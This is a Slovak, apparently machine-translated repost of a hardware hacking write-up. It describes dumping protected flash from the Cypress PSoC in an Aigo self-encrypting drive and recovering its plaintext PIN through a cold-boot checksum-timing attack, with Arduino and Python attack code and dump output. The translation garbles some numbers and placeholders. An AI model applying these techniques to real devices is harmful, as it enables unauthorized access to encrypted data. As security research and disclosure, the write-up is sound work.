Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC

Toto je druhá a posledná časť článku o hackovaní externých samošifrovacích jednotiek. Dovoľte mi pripomenúť, že kolega mi nedávno priniesol pevný disk Patriot (Aigo) SK8671 a rozhodol som sa ho obrátiť a teraz sa podelím o to, čo z neho vzišlo. Pred ďalším čítaním si určite prečítajte prvá časť článok.

4. Začneme vytvárať výpis z interného flash disku PSoC
5. ISSP protokol
– 5.1. Čo je ISSP
– 5.2. Demystifikačné vektory
– 5.3. Komunikácia s PSoC
– 5.4. Identifikácia registrov na čipe
– 5.5. Bezpečnostné prvky
6. Prvý (neúspešný) útok: ROMX
7. Druhý útok: Cold Boot Tracing
– 7.1. Implementácia
– 7.2. Čítanie výsledku
– 7.3. Flash binárna rekonštrukcia
– 7.4. Nájdenie adresy uloženia kódu PIN
– 7.5. Odber skládky bloku č.126
– 7.6. obnovenie PIN kódu
8. Čo ďalej?
9. záver

Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC


4. Začneme vytvárať výpis z interného flash disku PSoC

Takže všetko naznačuje (ako sme zistili v [prvej časti]()), že PIN kód je uložený v hĺbkach blesku PSoC. Preto musíme tieto hĺbky blesku prečítať. Predná časť potrebných prác:

  • prevziať kontrolu nad „komunikáciou“ s mikrokontrolérom;
  • nájsť spôsob, ako skontrolovať, či je táto „komunikácia“ chránená pred čítaním zvonku;
  • nájsť spôsob, ako obísť ochranu.

Existujú dve miesta, kde má zmysel hľadať platný PIN kód:

  • interná flash pamäť;
  • SRAM, kde je možné uložiť kód PIN na porovnanie s kódom PIN zadaným používateľom.

Pri pohľade do budúcnosti si všimnem, že sa mi po zvrátení nezdokumentovaných možností protokolu ISSP stále podarilo urobiť výpis z interného flash disku PSoC - obísť jeho bezpečnostný systém pomocou hardvérového útoku nazývaného „sledovanie studeného zavádzania“. To mi umožnilo priamo vypísať skutočný PIN kód.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Konečný kód programu:

5. ISSP protokol

5.1. Čo je ISSP

„Komunikácia“ s mikrokontrolérom môže znamenať rôzne veci: od „dodávateľa k predajcovi“ až po interakciu pomocou sériového protokolu (napríklad ICSP pre PIC spoločnosti Microchip).

Cypress má na to vlastný proprietárny protokol nazývaný ISSP (in-system serial programming protocol), ktorý je čiastočne opísaný v technická špecifikácia. Patent US7185162 poskytuje aj nejaké informácie. Existuje aj ekvivalent OpenSource s názvom HSSP (použijeme ho o niečo neskôr). ISSP funguje nasledovne:

  • reštartujte PSoC;
  • vypíšte magické číslo na sériový dátový kolík tohto PSoC; pre vstup do externého programovacieho režimu;
  • odosielať príkazy, čo sú dlhé bitové reťazce nazývané "vektory".

Dokumentácia ISSP definuje tieto vektory len pre malú hŕstku príkazov:

  • Inicializovať-1
  • Inicializovať-2
  • Inicializácia-3 (možnosti 3V a 5V)
  • ID-SETUP
  • PREČÍTAJ-ID-SLOVO
  • SET-BLOCK-NUM: 10011111010dddddddd111, kde dddddddd=blok #
  • HROMADNÉ VYMAZANIE
  • PROGRAMOVÝ BLOK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kde DDDDDDDD = výstup dát, aaaaaa = adresa (6 bitov)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kde dddddddd = dáta v, aaaaaa = adresa (6 bitov)
  • SECURE
  • KONTROLNÝ SÚČET-NASTAVENIE
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kde DDDDDDDDDDDDDDDDDD = výstup dát: kontrolný súčet zariadenia
  • VYMAZAŤ BLOK

Napríklad vektor pre Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Všetky vektory majú rovnakú dĺžku: 22 bitov. Dokumentácia HSSP obsahuje ďalšie informácie o ISSP: „Vektor ISSP nie je nič iné ako bitová sekvencia, ktorá predstavuje súbor inštrukcií.

5.2. Demystifikačné vektory

Poďme zistiť, čo sa tu deje. Spočiatku som predpokladal, že tie isté vektory sú nespracované verzie inštrukcií M8C, ale po kontrole tejto hypotézy som zistil, že operačné kódy operácií sa nezhodujú.

Potom som vygooglil vektor vyššie a narazil som toto štúdia, kde autor, hoci nejde do detailov, uvádza niekoľko užitočných rád: „Každá inštrukcia začína tromi bitmi, ktoré zodpovedajú jednej zo štyroch mnemotechnických pomôcok (čítať z RAM, zapisovať do RAM, čítať register, zapisovať register). Potom je tu 8 adresových bitov, nasleduje 8 dátových bitov (čítanie alebo zápis) a nakoniec tri stop bity.

Potom sa mi podarilo získať niekoľko veľmi užitočných informácií zo sekcie Supervisory ROM (SROM). technický manuál. SROM je pevne zakódovaná ROM v PSoC, ktorá poskytuje pomocné funkcie (podobným spôsobom ako Syscall) pre programový kód bežiaci v užívateľskom priestore:

  • 00h:SWBootReset
  • 01h: Blok čítania
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Čítanie tabuľky
  • 07h: Kontrolný súčet
  • 08h: Kalibrácia0
  • 09h: Kalibrácia1

Porovnaním názvov vektorov s funkciami SROM môžeme mapovať rôzne operácie podporované týmto protokolom na očakávané parametre SROM. Vďaka tomu môžeme dekódovať prvé tri bity ISSP vektorov:

  • 100 => „wrem“
  • 101 => „rdmem“
  • 110 => „wrreg“
  • 111 => „rdreg“

Úplné pochopenie procesov na čipe však možno získať iba prostredníctvom priamej komunikácie s PSoC.

5.3. Komunikácia s PSoC

Keďže Dirk Petrautsky už prenesené Kód HSSP Cypress na Arduine som použil Arduino Uno na pripojenie ku konektoru ISSP dosky klávesnice.

Upozorňujeme, že v priebehu môjho výskumu som dosť zmenil Dirkov kód. Moju úpravu nájdete na GitHub: tu a zodpovedajúci skript Python na komunikáciu s Arduinom v mojom úložisku cypress_psoc_tools.

Takže pomocou Arduina som najprv použil iba „oficiálne“ vektory na „komunikáciu“. Pokúsil som sa prečítať internú ROM pomocou príkazu VERIFY. Podľa očakávania som to nedokázal. Pravdepodobne kvôli tomu, že vo vnútri flash disku sú aktivované bity ochrany proti čítania.

Potom som vytvoril niekoľko vlastných jednoduchých vektorov na zápis a čítanie pamäte/registrov. Upozorňujeme, že môžeme prečítať celú pamäť SROM, aj keď je jednotka flash chránená!

5.4. Identifikácia registrov na čipe

Po pohľade na „rozložené“ vektory som zistil, že zariadenie používa nezdokumentované registre (0xF8-0xFA) na špecifikáciu operačných kódov M8C, ktoré sa vykonávajú priamo, čím sa obchádza ochrana. To mi umožnilo spúšťať rôzne operačné kódy ako „ADD“, „MOV A, X“, „PUSH“ alebo „JMP“. Vďaka nim (pri pohľade na vedľajšie účinky, ktoré majú na registre) som mohol určiť, ktoré z nezdokumentovaných registrov boli vlastne bežné registre (A, X, SP a PC).

Výsledkom je, že „rozložený“ kód vygenerovaný nástrojom HSSP_disas.rb vyzerá takto (pre prehľadnosť som pridal komentáre):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bezpečnostné prvky

V tejto fáze už môžem komunikovať s PSoC, ale stále nemám spoľahlivé informácie o bezpečnostných bitoch flash disku. Veľmi ma prekvapila skutočnosť, že Cypress neposkytuje užívateľovi zariadenia žiadne prostriedky na kontrolu, či je ochrana aktivovaná. Ponoril som sa hlbšie do Google, aby som konečne pochopil, že kód HSSP poskytnutý Cypressom bol aktualizovaný po tom, čo Dirk vydal svoju modifikáciu. A tak! Objavil sa tento nový vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Pomocou tohto vektora (pozri read_security_data v psoc.py) dostaneme všetky bezpečnostné bity v SRAM pri 0x80, kde sú dva bity na chránený blok.

Výsledok je deprimujúci: všetko je chránené v režime „zakázať externé čítanie a zápis“. Preto nielenže nemôžeme nič čítať z flash disku, ale nemôžeme ani nič písať (napríklad nainštalovať tam dumper ROM). A jediný spôsob, ako vypnúť ochranu, je úplne vymazať celý čip. 🙁

6. Prvý (neúspešný) útok: ROMX

Môžeme však vyskúšať nasledujúci trik: keďže máme možnosť spúšťať ľubovoľné operačné kódy, prečo nespustiť ROMX, ktorý sa používa na čítanie flash pamäte? Tento prístup má veľkú šancu na úspech. Pretože funkcia ReadBlock, ktorá číta dáta z SROM (ktorú využívajú vektory), kontroluje, či sú volané z ISSP. Operačný kód ROMX však takúto kontrolu pravdepodobne mať nemusí. Takže tu je kód Pythonu (po pridaní niekoľkých pomocných tried do kódu Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Bohužiaľ tento kód nefunguje. 🙁 Alebo skôr to funguje, ale na výstupe dostaneme vlastné operačné kódy (0x28 0x30 0x40)! Nemyslím si, že zodpovedajúca funkčnosť zariadenia je prvkom ochrany pred čítaním. Je to skôr technický trik: pri vykonávaní externých operačných kódov je zbernica ROM presmerovaná do dočasnej vyrovnávacej pamäte.

7. Druhý útok: Cold Boot Tracing

Keďže trik ROMX nefungoval, začal som uvažovať o ďalšej variácii tohto triku – opísanej v publikácii „Príliš veľa svetla na ochranu firmvéru mikrokontroléra“.

7.1. Implementácia

Dokumentácia ISSP poskytuje nasledujúci vektor pre CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Toto v podstate volá funkciu SROM 0x07, ako je uvedené v dokumentácii (baňa kurzívou):

Táto funkcia overenie kontrolného súčtu. Vypočítava 16-bitový kontrolný súčet počtu užívateľom zadaných blokov v jednej flash banke, začínajúc od nuly. Parameter BLOCKID sa používa na odovzdanie počtu blokov, ktoré sa použijú pri výpočte kontrolného súčtu. Hodnota "1" vypočíta iba kontrolný súčet pre blok nula; keďže "0" spôsobí, že sa vypočíta celkový kontrolný súčet všetkých 256 blokov flash banky. 16-bitový kontrolný súčet sa vráti cez KEY1 a KEY2. Parameter KEY1 ukladá 8 bitov kontrolného súčtu nižšieho rádu a parameter KEY2 ukladá 8 bitov vyššieho rádu. Pri zariadeniach s viacerými flash bankami sa funkcia kontrolného súčtu volá pre každú zvlášť. Číslo banky, s ktorou bude pracovať, nastavuje register FLS_PR1 (nastavením bitu v ňom zodpovedajúceho cieľovej flash banke).

Všimnite si, že toto je jednoduchý kontrolný súčet: bajty sa jednoducho pridávajú jeden po druhom; žiadne fantazijné vrtochy CRC. Okrem toho, keďže som vedel, že jadro M8C má veľmi malú množinu registrov, predpokladal som, že pri výpočte kontrolného súčtu budú medzihodnoty zaznamenané v rovnakých premenných, ktoré sa nakoniec dostanú na výstup: KEY1 (0xF8) / KEY2 ( 0xF9).

Takže teoreticky môj útok vyzerá takto:

  1. Pripájame sa cez ISSP.
  2. Výpočet kontrolného súčtu spustíme pomocou vektora CHECKSUM-SETUP.
  3. Reštartujeme procesor po určenom čase T.
  4. Čítame RAM, aby sme získali aktuálny kontrolný súčet C.
  5. Opakujte kroky 3 a 4, pričom T vždy trochu zvýšte.
  6. Dáta z flash disku obnovíme odpočítaním predchádzajúceho kontrolného súčtu C od aktuálneho.

Je tu však problém: vektor Initialize-1, ktorý musíme poslať po reštarte, prepíše KEY1 a KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tento kód prepíše náš vzácny kontrolný súčet volaním Calibrate1 (funkcia SROM 9)... Možno môžeme poslať magické číslo (zo začiatku vyššie uvedeného kódu), aby sme vstúpili do programovacieho režimu a potom načítali SRAM? A áno, funguje to! Kód Arduino, ktorý implementuje tento útok, je pomerne jednoduchý:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Prečítajte si checkum_delay.
  2. Spustite výpočet kontrolného súčtu (send_checksum_v).
  3. Počkajte určitý čas; berúc do úvahy nasledujúce úskalia:
    • Stratil som veľa času, kým som zistil, ako to dopadlo oneskorenieMikrosekundy funguje správne len s oneskorením nepresahujúcim 16383 μs;
    • a potom znova zabil rovnaký čas, kým som nezistil, že delayMicroseconds, ak sa mu odovzdá 0 ako vstup, funguje úplne nesprávne!
  4. Reštartujte PSoC do programovacieho režimu (pošleme len magické číslo bez odosielania inicializačných vektorov).

Finálny kód v Pythone:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

V skratke, čo robí tento kód:

  1. Reštartuje PSoC (a pošle mu magické číslo).
  2. Odošle úplné inicializačné vektory.
  3. Volá funkciu Arduina Cmnd_STK_START_CSUM (0x85), kde sa ako parameter odovzdáva oneskorenie v mikrosekundách.
  4. Číta kontrolný súčet (0xF8 a 0xF9) a nezdokumentovaný register 0xF1.

Tento kód sa vykoná 10-krát za 1 mikrosekundu. 0xF1 je tu zahrnutý, pretože to bol jediný register, ktorý sa zmenil pri výpočte kontrolného súčtu. Možno je to nejaký druh dočasnej premennej používanej aritmetickou logickou jednotkou. Všimnite si škaredý hack, ktorý používam na resetovanie Arduina pomocou picocom, keď Arduino prestane vykazovať známky života (netuším prečo).

7.2. Čítanie výsledku

Výsledok skriptu Python vyzerá takto (zjednodušené pre čitateľnosť):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Ako už bolo povedané, máme problém: keďže pracujeme so skutočným kontrolným súčtom, nulový bajt nemení načítanú hodnotu. Keďže však celý postup výpočtu (8192 bajtov) trvá 0,1478 sekundy (s malými odchýlkami pri každom spustení), čo sa rovná približne 18,04 μs na bajt, môžeme tento čas využiť na kontrolu hodnoty kontrolného súčtu vo vhodných časoch. Pri prvých spusteniach sa všetko číta pomerne ľahko, pretože trvanie výpočtového postupu je vždy takmer rovnaké. Koniec tohto výpisu je však menej presný, pretože „malé odchýlky časovania“ pri každom spustení sa sčítavajú a stávajú sa významnými:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

To je 10 výpisov za každé mikrosekundové oneskorenie. Celkový prevádzkový čas na vyprázdnenie všetkých 8192 bajtov flash disku je približne 48 hodín.

7.3. Flash binárna rekonštrukcia

Ešte som nedokončil písanie kódu, ktorý kompletne zrekonštruuje programový kód flash disku, berúc do úvahy všetky časové odchýlky. Začiatok tohto kódu som však už obnovil. Aby som sa uistil, že som to urobil správne, rozobral som to pomocou m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Vyzerá celkom vierohodne!

7.4. Nájdenie adresy uloženia kódu PIN

Teraz, keď môžeme čítať kontrolný súčet v časoch, ktoré potrebujeme, môžeme ľahko skontrolovať, ako a kde sa zmení, keď:

  • zadajte nesprávny PIN kód;
  • zmeniť PIN kód.

Po prvé, aby som našiel približnú adresu úložiska, po reštarte som vykonal výpis kontrolného súčtu v prírastkoch 10 ms. Potom som zadal nesprávny PIN a urobil som to isté.

Výsledok nebol veľmi príjemný, keďže došlo k mnohým zmenám. Ale nakoniec som bol schopný určiť, že kontrolný súčet sa zmenil niekde medzi 120000 140000 µs a 0 XNUMX µs oneskorenia. Ale „kód PIN“, ktorý som tam zobrazil, bol úplne nesprávny – kvôli artefaktu procedúry delayMicroseconds, ktorá robí čudné veci, keď sa mu odovzdá XNUMX.

Potom, po takmer 3 hodinách, som si spomenul, že systémové volanie SROM CheckSum dostane argument ako vstup, ktorý špecifikuje počet blokov pre kontrolný súčet! To. ľahko lokalizujeme adresu uloženia PIN kódu a počítadla „nesprávnych pokusov“ s presnosťou až na 64-bajtový blok.

Moje prvé behy priniesli nasledujúci výsledok:

Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC

Potom som zmenil PIN kód z „123456“ na „1234567“ a dostal som:

Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC

Zdá sa teda, že v bloku č.126 je uložený PIN kód a počítadlo nesprávnych pokusov.

7.5. Odber skládky bloku č.126

Blok #126 by sa mal nachádzať niekde okolo 125x64x18 = 144000μs, od začiatku výpočtu kontrolného súčtu, v mojom úplnom výpise a vyzerá to celkom vierohodne. Potom, po manuálnom preosiatí mnohých neplatných výpisov (kvôli nahromadeniu „menších odchýlok načasovania“), som nakoniec dostal tieto bajty (s latenciou 145527 μs):

Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC

Je úplne zrejmé, že PIN kód je uložený v nezašifrovanej podobe! Tieto hodnoty, samozrejme, nie sú zapísané v ASCII kódoch, ale ako sa ukázalo, odzrkadľujú hodnoty načítané z kapacitnej klávesnice.

Nakoniec som spustil niekoľko ďalších testov, aby som zistil, kde je uložené počítadlo zlých pokusov. Tu je výsledok:

Reverzovanie a hackovanie Aigo samošifrovacieho externého HDD disku. Časť 2: Prevzatie skládky z Cypress PSoC

0xFF - znamená "15 pokusov" a klesá s každým neúspešným pokusom.

7.6. obnovenie PIN kódu

Tu je môj škaredý kód, ktorý spája vyššie uvedené:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Tu je výsledok jeho vykonania:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurá! Tvorba!

Upozorňujeme, že hodnoty latencie, ktoré som použil, sú pravdepodobne relevantné pre jeden konkrétny PSoC - ten, ktorý som použil.

8. Čo ďalej?

Poďme si teda zhrnúť na strane PSoC v kontexte našej jednotky Aigo:

  • môžeme čítať SRAM, aj keď je chránená proti čítaniu;
  • Ochranu proti prejdeniu prstom môžeme obísť tak, že použijeme studený boot trace attack a priamo načítame PIN kód.

Náš útok má však určité chyby v dôsledku problémov so synchronizáciou. Dalo by sa to zlepšiť takto:

  • napíšte obslužný program na správne dekódovanie výstupných údajov, ktoré sa získajú ako výsledok útoku „studeného zavádzania“;
  • použite miniaplikáciu FPGA na vytvorenie presnejších časových oneskorení (alebo použite hardvérové ​​časovače Arduino);
  • skúste iný útok: zadajte úmyselne nesprávny PIN kód, reštartujte a vyprázdnite RAM v nádeji, že správny PIN kód sa uloží do pamäte RAM na porovnanie. Na Arduine to však nie je také ľahké, pretože úroveň signálu Arduina je 5 voltov, zatiaľ čo doska, ktorú skúmame, pracuje so signálmi 3,3 voltu.

Jedna zaujímavá vec, ktorú by ste mohli vyskúšať, je pohrať sa s úrovňou napätia, aby ste obišli ochranu proti čítaniu. Ak by tento prístup fungoval, boli by sme schopní získať absolútne presné údaje z flash disku – namiesto spoliehania sa na čítanie kontrolného súčtu s nepresnými časovými oneskoreniami.

Keďže SROM pravdepodobne číta ochranné bity prostredníctvom systémového volania ReadBlock, mohli by sme urobiť to isté ako popísané na blogu Dmitrija Nedospasova - opätovná realizácia útoku Chrisa Gerlinského, oznámeného na konferencii "REcon Brusel 2017".

Ďalšou zábavnou vecou, ​​ktorú by ste mohli urobiť, je odstrániť puzdro z čipu: urobiť výpis SRAM, identifikovať nezdokumentované systémové volania a zraniteľné miesta.

9. záver

Ochrana tohto disku je teda veľmi neuspokojivá, pretože na ukladanie PIN kódu používa bežný (nie „zosilnený“) mikrokontrolér... Navyše som sa (zatiaľ) nepozrel, ako je to s dátami šifrovanie na tomto zariadení!

Čo môžete odporučiť pre Aigo? Po analýze niekoľkých modelov šifrovaných pevných diskov som v roku 2015 urobil predstavenie na SyScan, v ktorom skúmal bezpečnostné problémy niekoľkých externých HDD diskov a dal odporúčania, čo by sa na nich dalo zlepšiť. 🙂

Týmto výskumom som strávil dva víkendy a niekoľko večerov. Spolu asi 40 hodín. Počítanie od úplného začiatku (keď som otvoril disk) až po koniec (výpis PIN kódu). Rovnakých 40 hodín zahŕňa čas, ktorý som strávil písaním tohto článku. Bol to veľmi vzrušujúci výlet.

Zdroj: hab.com

Pridať komentár